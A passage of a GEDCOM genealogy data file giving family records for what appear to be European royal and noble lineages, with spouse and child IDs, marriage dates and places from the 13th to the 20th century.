@I428@\n0 @F149@ FAM\n1 HUSB @I432@\n1 WIFE @I434@\n1 CHIL @I592@\n1 CHIL @I435@\n1 CHIL @I593@\n1 CHIL @I594@\n1 MARR\n2 DATE        1935\n2 PLAC Rome,,Italy\n0 @F150@ FAM\n1 HUSB @I439@\n1 WIFE @I437@\n1 DIV Y\n1 MARR\n2 DATE 27 FEB 1921\n2 PLAC Bucharest,Romania\n0 @F151@ FAM\n1 HUSB @I440@\n1 WIFE @I436@\n1 CHIL @I475@\n1 CHIL @I874@\n1 CHIL @I875@\n0 @F152@ FAM\n1 HUSB @I435@\n1 WIFE @I441@\n1 CHIL @I442@\n1 CHIL @I443@\n1 CHIL @I444@\n1 MARR\n2 DATE        1962\n0 @F153@ FAM\n1 HUSB @I450@\n1 WIFE @I451@\n1 CHIL @I958@\n1 CHIL @I959@\n1 CHIL @I452@\n1 MARR\n2 DATE        1929\n0 @F154@ FAM\n1 HUSB @I452@\n1 WIFE @I453@\n1 CHIL @I454@\n1 CHIL @I455@\n1 MARR\n2 DATE    AUG 1968\n2 PLAC Oslo Cathedral,Oslo,Norway\n0 @F155@ FAM\n1 HUSB @I456@\n1 WIFE @I457@\n1 CHIL @I124@\n1 CHIL @I1408@\n1 CHIL @I446@\n1 MARR\n2 DATE        1881\n0 @F156@ FAM\n1 HUSB @I458@\n1 WIFE @I459@\n1 CHIL @I456@\n1 CHIL @I2770@\n1 CHIL @I597@\n1 CHIL @I2771@\n1 MARR\n2 DATE  6 JUN 1857\n2 PLAC Biebrich\n0 @F157@ FAM\n1 HUSB @I83@\n1 WIFE @I460@\n1 CHIL @I461@\n1 CHIL @I462@\n1 MARR\n2 DATE        1905\n0 @F158@ FAM\n1 HUSB @I461@\n1 WIFE @I463@\n1 CHIL @I2629@\n1 CHIL @I2630@\n1 CHIL @I2631@\n1 MARR\n2 DATE        1931\n0 @F159@ FAM\n1 HUSB @I462@\n1 WIFE @I464@\n1 MARR\n2 DATE        1937\n0 @F160@ FAM\n1 HUSB @I438@\n1 WIFE @I233@\n1 CHIL @I468@\n1 DIV Y\n1 MARR\n2 DATE 10 MAR 1921\n2 PLAC Athens,Greece\n0 @F161@ FAM\n1 HUSB @I468@\n1 WIFE @I469@\n1 CHIL @I972@\n1 CHIL @I973@\n1 CHIL @I974@\n1 CHIL @I975@\n1 CHIL @I976@\n1 MARR\n2 DATE 10 JUN 1948\n2 PLAC Athens,Greece\n0 @F162@ FAM\n1 HUSB @I232@\n1 WIFE @I470@\n1 CHIL @I441@\n1 CHIL @I471@\n1 CHIL @I1064@\n0 @F163@ FAM\n1 HUSB @I471@\n1 WIFE @I472@\n1 CHIL @I609@\n1 CHIL @I1060@\n1 CHIL @I1061@\n1 CHIL @I1062@\n1 CHIL @I1063@\n1 MARR\n2 DATE 18 SEP 1964\n2 PLAC Athens,Greece\n0 @F164@ FAM\n1 HUSB @I234@\n1 WIFE @I473@\n1 CHIL @I474@\n1 MARR\n2 DATE  4 NOV 1919\n2 PLAC Athens,Greece\n0 @F165@ FAM\n1 HUSB @I475@\n1 WIFE @I474@\n1 CHIL @I877@\n0 @F166@ FAM\n1 HUSB @I477@\n1 WIFE @I147@\n1 CHIL @I478@\n1 MARR\n2 DATE        1931\n0 @F167@ FAM\n1 HUSB @I479@\n1 WIFE @I148@\n1 CHIL @I480@\n1 MARR\n2 DATE        1931\n0 @F168@ FAM\n1 HUSB @I481@\n1 WIFE @I476@\n1 MARR\n2 DATE        1930\n0 @F169@ FAM\n1 HUSB @I482@\n1 WIFE @I476@\n1 CHIL @I483@\n1 MARR\n2 DATE        1946\n0 @F170@ FAM\n1 HUSB @I484@\n1 WIFE @I485@\n1 CHIL @I303@\n1 CHIL @I595@\n1 CHIL @I356@\n0 @F171@ FAM\n1 HUSB @I488@\n1 WIFE @I224@\n0 @F172@ FAM\n1 HUSB @I486@\n1 WIFE @I489@\n1 MARR\n2 DATE        1889\n0 @F173@ FAM\n1 HUSB @I487@\n1 WIFE @I490@\n0 @F174@ FAM\n1 HUSB @I493@\n1 WIFE @I495@\n1 MARR\n2 DATE        1833\n0 @F175@ FAM\n1 HUSB @I103@\n1 WIFE @I494@\n1 CHIL @I500@\n1 CHIL @I501@\n0 @F176@ FAM\n1 HUSB @I102@\n1 WIFE @I502@\n1 CHIL @I503@\n1 CHIL @I504@\n0 @F177@ FAM\n1 HUSB @I505@\n1 WIFE @I500@\n1 CHIL @I506@\n0 @F178@ FAM\n1 HUSB @I507@\n1 WIFE @I501@\n1 CHIL @I508@\n0 @F179@ FAM\n1 HUSB @I162@\n1 WIFE @I510@\n0 @F180@ FAM\n1 HUSB @I418@\n1 WIFE @I1682@\n1 DIV Y\n1 MARR\n2 DATE        1830\n0 @F181@ FAM\n1 HUSB @I418@\n1 WIFE @I513@\n0 @F182@ FAM\n1 HUSB @I417@\n1 WIFE @I514@\n1 CHIL @I1704@\n0 @F183@ FAM\n1 HUSB @I515@\n1 WIFE @I2654@\n1 CHIL @I1213@\n1 MARR\n2 DATE        1822\n0 @F184@ FAM\n1 HUSB @I414@\n1 WIFE @I516@\n0 @F185@ FAM\n1 HUSB @I202@\n1 WIFE @I555@\n0 @F186@ FAM\n1 HUSB @I420@\n1 WIFE @I518@\n1 CHIL @I519@\n1 CHIL @I520@\n1 CHIL @I521@\n1 CHIL @I522@\n1 CHIL @I523@\n1 CHIL @I524@\n0 @F187@ FAM\n1 HUSB @I519@\n1 WIFE @I525@\n1 CHIL @I526@\n1 CHIL @I527@\n0 @F188@ FAM\n1 HUSB @I520@\n1 WIFE @I528@\n1 CHIL @I921@\n1 CHIL @I922@\n1 CHIL @I923@\n1 CHIL @I924@\n1 CHIL @I925@\n1 CHIL @I534@\n1 CHIL @I535@\n1 MARR\n2 DATE        1938\n0 @F189@ FAM\n1 HUSB @I521@\n1 WIFE @I536@\n1 DIV Y\n0 @F190@ FAM\n1 HUSB @I521@\n1 WIFE @I537@\n1 CHIL @I538@\n1 CHIL @I539@\n0 @F191@ FAM\n1 HUSB @I522@\n1 WIFE @I540@\n1 CHIL @I541@\n1 CHIL @I542@\n1 CHIL @I543@\n1 CHIL @I544@\n1 CHIL @I545@\n0 @F192@ FAM\n1 HUSB @I546@\n1 WIFE @I524@\n0 @F193@ FAM\n1 HUSB @I421@\n1 WIFE @I547@\n0 @F194@ FAM\n1 HUSB @I422@\n1 WIFE @I548@\n0 @F195@ FAM\n1 HUSB @I423@\n1 WIFE @I549@\n0 @F196@ FAM\n1 HUSB @I424@\n1 WIFE @I550@\n0 @F197@ FAM\n1 HUSB @I425@\n1 WIFE @I551@\n0 @F198@ FAM\n1 HUSB @I552@\n1 WIFE @I426@\n1 CHIL @I1030@\n1 CHIL @I1031@\n1 CHIL @I470@\n1 CHIL @I1033@\n1 CHIL @I1034@\n1 CHIL @I1035@\n1 MARR\n2 DATE        1913\n0 @F199@ FAM\n1 HUSB @I553@\n1 WIFE @I554@\n1 CHIL @I555@\n1 DIV Y\n1 MARR\n2 DATE 14 JUL 1765\n2 PLAC Charlottenburg\n0 @F200@ FAM\n1 HUSB @I553@\n1 WIFE @I556@\n1 CHIL @I162@\n1 CHIL @I557@\n1 CHIL @I558@\n1 CHIL @I559@\n1 CHIL @I560@\n1 CHIL @I561@\n1 CHIL @I562@\n1 CHIL @I563@\n1 MARR\n2 DATE 14 JUL 1769\n2 PLAC Charlottenburg\n0 @F201@ FAM\n1 HUSB @I558@\n1 WIFE @I248@\n1 MARR\n2 DATE 29 AUG 1815\n2 PLAC London,England\n0 @F202@ FAM\n1 HUSB @I565@\n1 WIFE @I559@\n1 CHIL @I652@\n1 CHIL @I653@\n1 CHIL @I1681@\n1 CHIL @I1682@\n1 MARR\n2 DATE  1 OCT 1791\n2 PLAC Berlin,Germany\n0 @F203@ FAM\n1 HUSB @I566@\n1 WIFE @I561@\n0 @F204@ FAM\n1 HUSB @I563@\n1 WIFE @I567@\n0 @F205@ FAM\n1 HUSB @I568@\n1 WIFE @I569@\n1 CHIL @I553@\n1 CHIL @I570@\n1 CHIL @I571@\n1 CHIL @I572@\n0 @F206@ FAM\n1 HUSB @I573@\n1 WIFE @I571@\n0 @F207@ FAM\n1 HUSB @I574@\n1 WIFE @I575@\n1 CHIL @I576@\n1 CHIL @I485@\n1 MARR\n2 DATE        1760\n0 @F208@ FAM\n1 HUSB @I576@\n1 WIFE @I577@\n1 CHIL @I578@\n0 @F209@ FAM\n1 HUSB @I578@\n1 WIFE @I579@\n1 CHIL @I580@\n1 CHIL @I459@\n0 @F210@ FAM\n1 HUSB @I580@\n1 WIFE @I581@\n1 CHIL @I582@\n0 @F211@ FAM\n1 HUSB @I582@\n1 WIFE @I583@\n1 CHIL @I584@\n0 @F212@ FAM\n1 HUSB @I585@\n1 WIFE @I584@\n1 CHIL @I586@\n0 @F213@ FAM\n1 HUSB @I158@\n1 WIFE @I97@\n1 CHIL @I895@\n1 CHIL @I528@\n1 CHIL @I588@\n1 MARR\n2 DATE        1905\n2 PLAC Tegernsee,,Bavaria\n0 @F214@ FAM\n1 HUSB @I588@\n1 WIFE @I589@\n1 CHIL @I899@\n1 MARR\n2 DATE        1948\n2 PLAC ,Switzerland\n0 @F215@ FAM\n1 HUSB @I597@\n1 WIFE @I598@\n1 CHIL @I2829@\n1 CHIL @I451@\n1 CHIL @I599@\n1 CHIL @I2738@\n1 MARR\n2 DATE        1897\n0 @F216@ FAM\n1 HUSB @I600@\n1 WIFE @I599@\n1 CHIL @I1123@\n1 CHIL @I601@\n1 CHIL @I1124@\n1 MARR\n2 DATE 10 NOV 1926\n2 PLAC Brussels,Belgium\n0 @F217@ FAM\n1 HUSB @I445@\n1 WIFE @I602@\n1 CHIL @I2526@\n1 CHIL @I2527@\n1 CHIL @I2528@\n1 CHIL @I2529@\n1 CHIL @I603@\n1 MARR\n2 DATE        1932\n0 @F218@ FAM\n1 HUSB @I604@\n1 WIFE @I605@\n1 CHIL @I606@\n1 CHIL @I71@\n1 CHIL @I2697@\n1 CHIL @I1664@\n1 CHIL @I598@\n1 CHIL @I1665@\n1 CHIL @I1666@\n1 CHIL @I1667@\n0 @F219@ FAM\n1 HUSB @I606@\n1 WIFE @I607@\n1 CHIL @I608@\n1 CHIL @I1671@\n1 MARR\n2 DATE        1898\n0 @F220@ FAM\n1 HUSB @I603@\n1 WIFE @I1612@\n1 CHIL @I2446@\n1 CHIL @I2447@\n1 CHIL @I2729@\n1 MARR\n2 DATE 19 JUN 1976\n2 PLAC Stockholm,Sweden\n0 @F221@ FAM\n1 HUSB @I611@\n1 WIFE @I612@\n1 CHIL @I613@\n1 CHIL @I614@\n0 @F222@ FAM\n1 HUSB @I615@\n1 WIFE @I614@\n1 CHIL @I616@\n0 @F223@ FAM\n1 HUSB @I616@\n1 WIFE @I617@\n1 CHIL @I618@\n1 CHIL @I619@\n1 MARR\n2 DATE        1709\n0 @F224@ FAM\n1 HUSB @I620@\n1 WIFE @I619@\n1 CHIL @I621@\n1 MARR\n2 DATE        1727\n0 @F225@ FAM\n1 HUSB @I621@\n1 WIFE @I622@\n1 CHIL @I623@\n0 @F226@ FAM\n1 HUSB @I623@\n1 WIFE @I624@\n1 CHIL @I625@\n1 CHIL @I626@\n0 @F227@ FAM\n1 HUSB @I625@\n1 WIFE @I627@\n1 CHIL @I628@\n0 @F228@ FAM\n1 HUSB @I629@\n1 WIFE @I628@\n1 CHIL @I630@\n0 @F229@ FAM\n1 HUSB @I631@\n1 WIFE @I630@\n1 CHIL @I632@\n0 @F230@ FAM\n1 HUSB @I632@\n1 WIFE @I633@\n1 CHIL @I634@\n0 @F231@ FAM\n1 HUSB @I635@\n1 WIFE @I634@\n1 CHIL @I636@\n0 @F232@ FAM\n1 HUSB @I637@\n1 WIFE @I626@\n1 CHIL @I1154@\n1 CHIL @I1155@\n1 CHIL @I1156@\n1 CHIL @I1157@\n1 CHIL @I638@\n1 CHIL @I1158@\n1 CHIL @I1159@\n1 MARR\n2 DATE        1797\n0 @F233@ FAM\n1 HUSB @I639@\n1 WIFE @I638@\n1 CHIL @I646@\n0 @F234@ FAM\n1 HUSB @I640@\n1 WIFE @I642@\n1 CHIL @I643@\n0 @F235@ FAM\n1 HUSB @I643@\n1 WIFE @I644@\n1 CHIL @I645@\n0 @F236@ FAM\n1 HUSB @I646@\n1 WIFE @I647@\n1 CHIL @I640@\n1 CHIL @I641@\n0 @F237@ FAM\n1 HUSB @I648@\n1 WIFE @I641@\n1 CHIL @I649@\n0 @F238@ FAM\n1 HUSB @I618@\n1 WIFE @I324@\n1 CHIL @I650@\n1 CHIL @I575@\n0 @F239@ FAM\n1 HUSB @I650@\n1 WIFE @I651@\n1 CHIL @I2653@\n1 CHIL @I565@\n1 CHIL @I2655@\n0 @F240@ FAM\n1 HUSB @I652@\n1 WIFE @I654@\n1 CHIL @I655@\n1 CHIL @I1689@\n1 CHIL @I1690@\n1 CHIL @I1691@\n1 CHIL @I1692@\n1 MARR\n2 DATE        1816\n0 @F241@ FAM\n1 HUSB @I655@\n1 WIFE @I656@\n1 CHIL @I657@\n1 MARR\n2 DATE  7 JAN 1879\n2 PLAC Arolsen\n0 @F242@ FAM\n1 HUSB @I658@\n1 WIFE @I657@\n1 CHIL @I659@\n1 MARR\n2 DATE  7 FEB 1901\n2 PLAC The Hague,Netherlands\n0 @F243@ FAM\n1 HUSB @I660@\n1 WIFE @I659@\n1 CHIL @I661@\n1 CHIL @I1204@\n1 CHIL @I1205@\n1 CHIL @I1206@\n1 MARR\n2 DATE  7 JAN 1937\n2 PLAC The Hague,Netherlands\n0 @F244@ FAM\n1 HUSB @I613@\n1 WIFE @I662@\n1 CHIL @I663@\n0 @F245@ FAM\n1 HUSB @I663@\n1 WIFE @I664@\n1 CHIL @I665@\n0 @F246@ FAM\n1 HUSB @I666@\n1 WIFE @I665@\n1 CHIL @I667@\n0 @F247@ FAM\n1 HUSB @I668@\n1 WIFE @I667@\n1 CHIL @I669@\n0 @F248@ FAM\n1 HUSB @I669@\n1 WIFE @I670@\n1 CHIL @I671@\n0 @F249@ FAM\n1 HUSB @I672@\n1 WIFE @I671@\n1 CHIL @I673@\n0 @F250@ FAM\n1 HUSB @I673@\n1 WIFE @I674@\n1 CHIL @I675@\n0 @F251@ FAM\n1 HUSB @I676@\n1 WIFE @I675@\n1 CHIL @I677@\n0 @F252@ FAM\n1 HUSB @I678@\n1 WIFE @I679@\n1 CHIL @I680@\n0 @F253@ FAM\n1 HUSB @I680@\n1 WIFE @I681@\n1 CHIL @I682@\n0 @F254@ FAM\n1 HUSB @I683@\n1 WIFE @I682@\n1 CHIL @I2634@\n1 CHIL @I2635@\n1 CHIL @I409@\n1 MARR\n2 DATE        1879\n0 @F255@ FAM\n1 HUSB @I684@\n1 WIFE @I595@\n1 CHIL @I685@\n0 @F256@ FAM\n1 HUSB @I686@\n1 WIFE @I685@\n1 CHIL @I687@\n0 @F257@ FAM\n1 HUSB @I688@\n1 WIFE @I687@\n1 CHIL @I689@\n1 MARR\n2 DATE 20 FEB 1868\n2 PLAC Vienna,Austria\n0 @F258@ FAM\n1 HUSB @I689@\n1 WIFE @I690@\n1 CHIL @I1183@\n1 CHIL @I1184@\n1 CHIL @I691@\n1 CHIL @I1185@\n0 @F259@ FAM\n1 HUSB @I692@\n1 WIFE @I693@\n1 CHIL @I694@\n1 CHIL @I695@\n1 CHIL @I696@\n1 CHIL @I697@\n1 CHIL @I698@\n1 CHIL @I699@\n1 CHIL @I700@\n1 CHIL @I701@\n1 CHIL @I702@\n1 CHIL @I703@\n1 CHIL @I704@\n1 CHIL @I705@\n1 MARR\n2 DATE 28 JUL 1683\n2 PLAC Chapel Royal,St. James,England\n0 @F260@ FAM\n1 HUSB @I706@\n1 WIFE @I707@\n1 CHIL @I708@\n1 CHIL @I709@\n1 CHIL @I710@\n1 CHIL @I693@\n1 CHIL @I711@\n1 CHIL @I712@\n1 CHIL @I713@\n1 CHIL @I714@\n1 MARR\n2 DATE 24 NOV 1659\n2 PLAC Breda\n0 @F261@ FAM\n1 HUSB @I706@\n1 WIFE @I715@\n1 CHIL @I716@\n1 CHIL @I717@\n1 CHIL @I718@\n1 CHIL @I719@\n1 CHIL @I720@\n1 MARR\n2 DATE 21 NOV 1673\n2 PLAC Dover,,England\n0 @F262@ FAM\n1 HUSB @I719@\n1 WIFE @I721@\n1 CHIL @I722@\n1 CHIL @I723@\n1 MARR\n2 DATE  3 SEP 1719\n2 PLAC Monte Fiascone\n0 @F263@ FAM\n1 HUSB @I722@\n1 WIFE @I724@\n1 MARR\n2 DATE 17 APR 1772\n2 PLAC Marcerata\n0 @F264@ FAM\n1 HUSB @I725@\n1 WIFE @I726@\n1 CHIL @I727@\n1 CHIL @I728@\n1 CHIL @I729@\n1 CHIL @I730@\n1 CHIL @I731@\n1 CHIL @I732@\n1 CHIL @I733@\n1 CHIL @I734@\n1 MARR\n2 DATE 23 NOV 1589\n2 PLAC Oslo,Norway\n0 @F265@ FAM\n1 HUSB @I735@\n1 WIFE @I728@\n1 CHIL @I2114@\n1 CHIL @I765@\n1 CHIL @I766@\n1 CHIL @I767@\n1 CHIL @I768@\n1 CHIL @I2115@\n1 CHIL @I2116@\n1 CHIL @I2117@\n1 CHIL @I2118@\n1 CHIL @I2119@\n1 CHIL @I736@\n1 MARR\n2 DATE 14 FEB 1613\n2 PLAC Whitehall\n0 @F266@ FAM\n1 HUSB @I758@\n1 WIFE @I736@\n1 CHIL @I341@\n1 CHIL @I2123@\n1 CHIL @I2124@\n1 CHIL @I2125@\n1 CHIL @I2126@\n1 CHIL @I770@\n1 CHIL @I771@\n0 @F267@ FAM\n1 HUSB @I772@\n1 WIFE @I771@\n1 CHIL @I1177@\n1 CHIL @I1178@\n1 CHIL @I761@\n1 MARR\n2 DATE  8 OCT 1684\n2 PLAC Herrenhausen\n0 @F268@ FAM\n1 HUSB @I737@\n1 WIFE @I738@\n1 CHIL @I726@\n1 CHIL @I1627@\n1 CHIL @I2860@\n1 CHIL @I2861@\n1 CHIL @I2862@\n1 MARR\n2 DATE 20 JUL 1572\n2 PLAC Copenhagen,Denmark\n0 @F269@ FAM\n1 HUSB @I750@\n1 WIFE @I744@\n1 CHIL @I757@\n0 @F270@ FAM\n1 HUSB @I730@\n1 WIFE @I739@\n1 CHIL @I742@\n1 CHIL @I743@\n1 CHIL @I744@\n1 CHIL @I706@\n1 CHIL @I745@\n1 CHIL @I746@\n1 CHIL @I747@\n1 CHIL @I748@\n1 CHIL @I749@\n1 MARR\n2 DATE 13 JUN 1625\n2 PLAC Canterbury,,England\n0 @F271@ FAM\n1 HUSB @I740@\n1 WIFE @I741@\n1 CHIL @I529@\n1 CHIL @I896@\n1 CHIL @I2913@\n1 CHIL @I590@\n1 CHIL @I739@\n1 MARR\n2 DATE 17 DEC 1600\n0 @F272@ FAM\n1 HUSB @I751@\n1 WIFE @I749@\n1 CHIL @I951@\n1 CHIL @I2128@\n1 MARR\n2 DATE 31 MAR 1661\n2 PLAC Paris,,France\n0 @F273@ FAM\n1 HUSB @I743@\n1 WIFE @I752@\n1 MARR\n2 DATE 20 MAY 1662\n2 PLAC Portsmouth,England\n0 @F274@ FAM\n1 HUSB @I753@\n1 WIFE @I754@\n1 CHIL @I752@\n0 @F275@ FAM\n1 HUSB @I755@\n1 WIFE @I756@\n1 CHIL @I715@\n0 @F276@ FAM\n1 HUSB @I757@\n1 WIFE @I709@\n1 MARR\n2 DATE  4 NOV 1677\n2 PLAC St. James Palace,,England\n0 @F277@ FAM\n1 HUSB @I759@\n1 WIFE @I760@\n1 CHIL @I219@\n0 @F278@ FAM\n1 HUSB @I1172@\n1 WIFE @I419@\n0 @F279@ FAM\n1 HUSB @I336@\n1 WIFE @I762@\n1 CHIL @I290@\n1 CHIL @I2146@\n0 @F280@ FAM\n1 HUSB @I337@\n1 WIFE @I763@\n0 @F281@ FAM\n1 HUSB @I764@\n1 WIFE @I340@\n1 CHIL @I1617@\n1 CHIL @I1653@\n1 DIV Y\n1 MARR\n2 DATE  8 NOV 1766\n2 PLAC Christiansborg\n0 @F282@ FAM\n1 HUSB @I773@\n1 WIFE @I774@\n1 CHIL @I775@\n1 CHIL @I776@\n1 CHIL @I828@\n1 CHIL @I829@\n1 CHIL @I830@\n1 CHIL @I831@\n1 CHIL @I832@\n1 MARR\n2 DATE 18 JAN 1486\n2 PLAC Westminster,,England\n0 @F283@ FAM\n1 HUSB @I777@\n1 WIFE @I778@\n1 CHIL @I401@\n0 @F284@ FAM\n1 HUSB @I779@\n1 WIFE @I780@\n1 CHIL @I399@\n0 @F285@ FAM\n1 HUSB @I781@\n1 WIFE @I782@\n1 CHIL @I398@\n0 @F286@ FAM\n1 HUSB @I783@\n1 WIFE @I784@\n1 CHIL @I400@\n0 @F287@ FAM\n1 HUSB @I785@\n1 WIFE @I786@\n1 CHIL @I387@\n0 @F288@ FAM\n1 HUSB @I788@\n1 WIFE @I787@\n1 CHIL @I386@\n0 @F289@ FAM\n1 HUSB @I789@\n1 WIFE @I790@\n1 CHIL @I388@\n0 @F290@ FAM\n1 HUSB @I792@\n1 WIFE @I791@\n1 CHIL @I389@\n0 @F291@ FAM\n1 HUSB @I793@\n1 WIFE @I794@\n1 CHIL @I392@\n0 @F292@ FAM\n1 HUSB @I795@\n1 WIFE @I796@\n1 CHIL @I393@\n0 @F293@ FAM\n1 HUSB @I797@\n1 WIFE @I798@\n1 CHIL @I394@\n0 @F294@ FAM\n1 HUSB @I799@\n1 WIFE @I800@\n1 CHIL @I395@\n0 @F295@ FAM\n1 HUSB @I802@\n1 WIFE @I319@\n1 DIV Y\n1 MARR\n2 DATE    SEP 1971\n0 @F296@ FAM\n1 HUSB @I803@\n1 WIFE @I1607@\n1 CHIL @I69@\n0 @F297@ FAM\n1 HUSB @I804@\n1 WIFE @I93@\n1 MARR\n2 DATE        1969\n0 @F298@ FAM\n1 HUSB @I804@\n1 WIFE @I805@\n0 @F299@ FAM\n1 HUSB @I2984@\n1 WIFE @I806@\n1 CHIL @I243@\n1 DIV Y\n1 MARR\n2 DATE 23 APR 1927\n0 @F300@ FAM\n1 HUSB @I807@\n1 WIFE @I241@\n1 CHIL @I808@\n1 MARR\n2 DATE    MAR 1978\n2 PLAC ,London,England\n0 @F301@ FAM\n1 HUSB @I809@\n1 WIFE @I240@\n1 MARR\n2 DATE    MAY 1980\n0 @F302@ FAM\n1 HUSB @I810@\n1 CHIL @I807@\n0 @F303@ FAM\n1 HUSB @I811@\n1 WIFE @I812@\n1 CHIL @I813@\n1 CHIL @I169@\n0 @F304@ FAM\n1 HUSB @I814@\n1 WIFE @I2947@\n1 CHIL @I811@\n0 @F305@ FAM\n1 HUSB @I815@\n1 CHIL @I814@\n0 @F306@ FAM\n1 HUSB @I816@\n1 WIFE @I817@\n1 CHIL @I815@\n0 @F307@ FAM\n1 HUSB @I818@\n1 CHIL @I816@\n0 @F308@ FAM\n1 HUSB @I819@\n1 CHIL @I818@\n0 @F309@ FAM\n1 HUSB @I820@\n1 WIFE @I821@\n1 CHIL @I170@\n0 @F310@ FAM\n1 HUSB @I823@\n1 WIFE @I824@\n1 MARR\n2 DATE ABT    1953\n0 @F311@ FAM\n1 HUSB @I823@\n1 WIFE @I170@\n1 MARR\n2 DATE    JUL 1975\n2 PLAC Chichester,Register Office,England\n0 @F312@ FAM\n1 HUSB @I825@\n1 WIFE @I822@\n1 CHIL @I826@\n1 CHIL @I2959@\n1 DIV Y\n1 MARR\n2 DATE    JUL 1976\n2 PLAC Dummer,,England\n0 @F313@ FAM\n1 HUSB @I775@\n1 WIFE @I833@\n1 MARR\n2 DATE 14 NOV 1501\n2 PLAC St. Pauls Cath.,London,England\n0 @F314@ FAM\n1 HUSB @I834@\n1 WIFE @I776@\n1 CHIL @I835@\n1 MARR\n2 DATE  8 AUG 1503\n2 PLAC Holyrod Abbey\n0 @F315@ FAM\n1 HUSB @I1473@\n1 WIFE @I1472@\n0 @F316@ FAM\n1 HUSB @I837@\n1 WIFE @I776@\n1 MARR\n2 DATE  3 MAR 1528\n0 @F317@ FAM\n1 HUSB @I838@\n1 WIFE @I830@\n1 MARR\n2 DATE  9 OCT 1514\n2 PLAC Abbeville\n0 @F318@ FAM\n1 HUSB @I839@\n1 WIFE @I830@\n1 CHIL @I1426@\n1 CHIL @I1427@\n1 CHIL @I1428@\n1 MARR\n2 DATE  3 MAR 1515\n2 PLAC Paris,France\n0 @F319@ FAM\n1 HUSB @I828@\n1 WIFE @I833@\n1 CHIL @I842@\n1 CHIL @I843@\n1 CHIL @I844@\n1 CHIL @I845@\n1 CHIL @I846@\n1 CHIL @I847@\n1 DIV Y\n1 MARR\n2 DATE 11 JUN 1509\n2 PLAC Grey Friars Ch.,Greenwich,England\n0 @F320@ FAM\n1 HUSB @I840@\n1 WIFE @I841@\n1 CHIL @I2887@\n1 CHIL @I2889@\n1 CHIL @I2100@\n1 CHIL @I2888@\n1 CHIL @I833@\n1 MARR\n2 DATE        1469\n0 @F321@ FAM\n1 HUSB @I828@\n1 WIFE @I848@\n1 CHIL @I849@\n1 CHIL @I850@\n1 MARR\n2 DATE 25 JAN 1533\n2 PLAC Westminster,London,England\n0 @F322@ FAM\n1 HUSB @I828@\n1 WIFE @I851@\n1 CHIL @I852@\n1 MARR\n2 DATE 30 MAY 1536\n2 PLAC York Place,,England\n0 @F323@ FAM\n1 HUSB @I828@\n1 WIFE @I853@\n1 DIV Y\n1 MARR\n2 DATE  6 JAN 1540\n2 PLAC Greenwich,,England\n0 @F324@ FAM\n1 HUSB @I854@\n1 WIFE @I855@\n1 CHIL @I853@\n0 @F325@ FAM\n1 HUSB @I828@\n1 WIFE @I856@\n1 MARR\n2 DATE 28 JUL 1540\n2 PLAC Hampton Court,Palace,England\n0 @F326@ FAM\n1 HUSB @I857@\n1 WIFE @I858@\n1 CHIL @I856@\n0 @F327@ FAM\n1 HUSB @I828@\n1 WIFE @I859@\n1 MARR\n2 DATE 12 JUL 1543\n2 PLAC Hampton Court,Palace\n0 @F328@ FAM\n1 HUSB @I860@\n1 WIFE @I861@\n1 CHIL @I851@\n0 @F329@ FAM\n1 HUSB @I862@\n1 WIFE @I859@\n1 MARR\n2 DATE ABT    1529\n0 @F330@ FAM\n1 HUSB @I863@\n1 WIFE @I859@\n1 MARR\n2 DATE        1533\n0 @F331@ FAM\n1 HUSB @I864@\n1 WIFE @I859@\n1 CHIL @I867@\n1 MARR\n2 DATE  4 APR 1547\n0 @F332@ FAM\n1 HUSB @I865@\n1 WIFE @I866@\n1 CHIL @I859@\n1 CHIL @I2309@\n0 @F333@ FAM\n1 HUSB @I869@\n1 WIFE @I868@\n1 MARR\n2 DATE 21 MAY 1553\n2 PLAC Durham House,London,England\n0 @F334@ FAM\n1 HUSB @I870@\n1 WIFE @I846@\n1 MARR\n2 DATE 25 JUL 1554\n2 PLAC Winchester,Cathedral,,England\n0 @F335@ FAM\n1 HUSB @I871@\n1 WIFE @I872@\n1 CHIL @I870@\n0 @F336@ FAM\n1 HUSB @I876@\n1 WIFE @I1370@\n1 MARR\n2 DATE 23 APR 1224\n0 @F337@ FAM\n1 HUSB @I877@\n1 WIFE @I878@\n1 CHIL @I879@\n1 CHIL @I880@\n1 CHIL @I881@\n0 @F338@ FAM\n1 HUSB @I874@\n1 WIFE @I882@\n1 CHIL @I883@\n1 CHIL @I884@\n1 DIV Y\n1 MARR\n2 DATE        1957\n2 PLAC Salem,Bavaria\n0 @F339@ FAM\n1 HUSB @I874@\n1 WIFE @I885@\n1 CHIL @I886@\n0 @F340@ FAM\n1 HUSB @I875@\n1 WIFE @I887@\n1 CHIL @I888@\n1 CHIL @I889@\n0 @F341@ FAM\n1 HUSB @I875@\n1 WIFE @I890@\n1 CHIL @I891@\n1 CHIL @I892@\n0 @F342@ FAM\n1 HUSB @I875@\n1 WIFE @I893@\n0 @F343@ FAM\n1 HUSB @I2543@\n1 WIFE @I2545@\n1 MARR\n2 DATE  6 DEC 1491\n0 @F344@ FAM\n1 HUSB @I2426@\n1 WIFE @I2920@\n1 CHIL @I1422@\n0 @F345@ FAM\n1 HUSB @I900@\n1 WIFE @I899@\n1 CHIL @I901@\n1 DIV Y\n1 MARR\n2 DATE        1976\n2 PLAC Dinard,,France\n0 @F346@ FAM\n1 HUSB @I902@\n1 WIFE @I895@\n1 CHIL @I903@\n1 CHIL @I904@\n1 CHIL @I890@\n1 CHIL @I905@\n1 CHIL @I906@\n1 CHIL @I907@\n1 MARR\n2 DATE        1925\n0 @F347@ FAM\n1 HUSB @I903@\n1 WIFE @I908@\n1 CHIL @I909@\n1 CHIL @I910@\n1 CHIL @I911@\n1 CHIL @I912@\n0 @F348@ FAM\n1 HUSB @I910@\n1 WIFE @I913@\n0 @F349@ FAM\n1 HUSB @I911@\n1 WIFE @I914@\n1 CHIL @I915@\n0 @F350@ FAM\n1 HUSB @I916@\n1 WIFE @I906@\n1 CHIL @I917@\n1 CHIL @I918@\n1 CHIL @I919@\n0 @F351@ FAM\n1 HUSB @I533@\n1 WIFE @I532@\n1 CHIL @I1366@\n0 @F352@ FAM\n1 HUSB @I925@\n1 WIFE @I926@\n1 CHIL @I927@\n1 MARR\n2 DATE        1984\n0 @F353@ FAM\n1 HUSB @I924@\n1 WIFE @I928@\n1 CHIL @I929@\n1 CHIL @I930@\n0 @F354@ FAM\n1 HUSB @I922@\n1 WIFE @I931@\n1 CHIL @I932@\n1 CHIL @I933@\n0 @F355@ FAM\n1 HUSB @I921@\n1 WIFE @I934@\n1 CHIL @I935@\n1 DIV Y\n0 @F356@ FAM\n1 HUSB @I921@\n1 WIFE @I936@\n1 CHIL @I937@\n1 CHIL @I938@\n1 CHIL @I939@\n0 @F357@ FAM\n1 HUSB 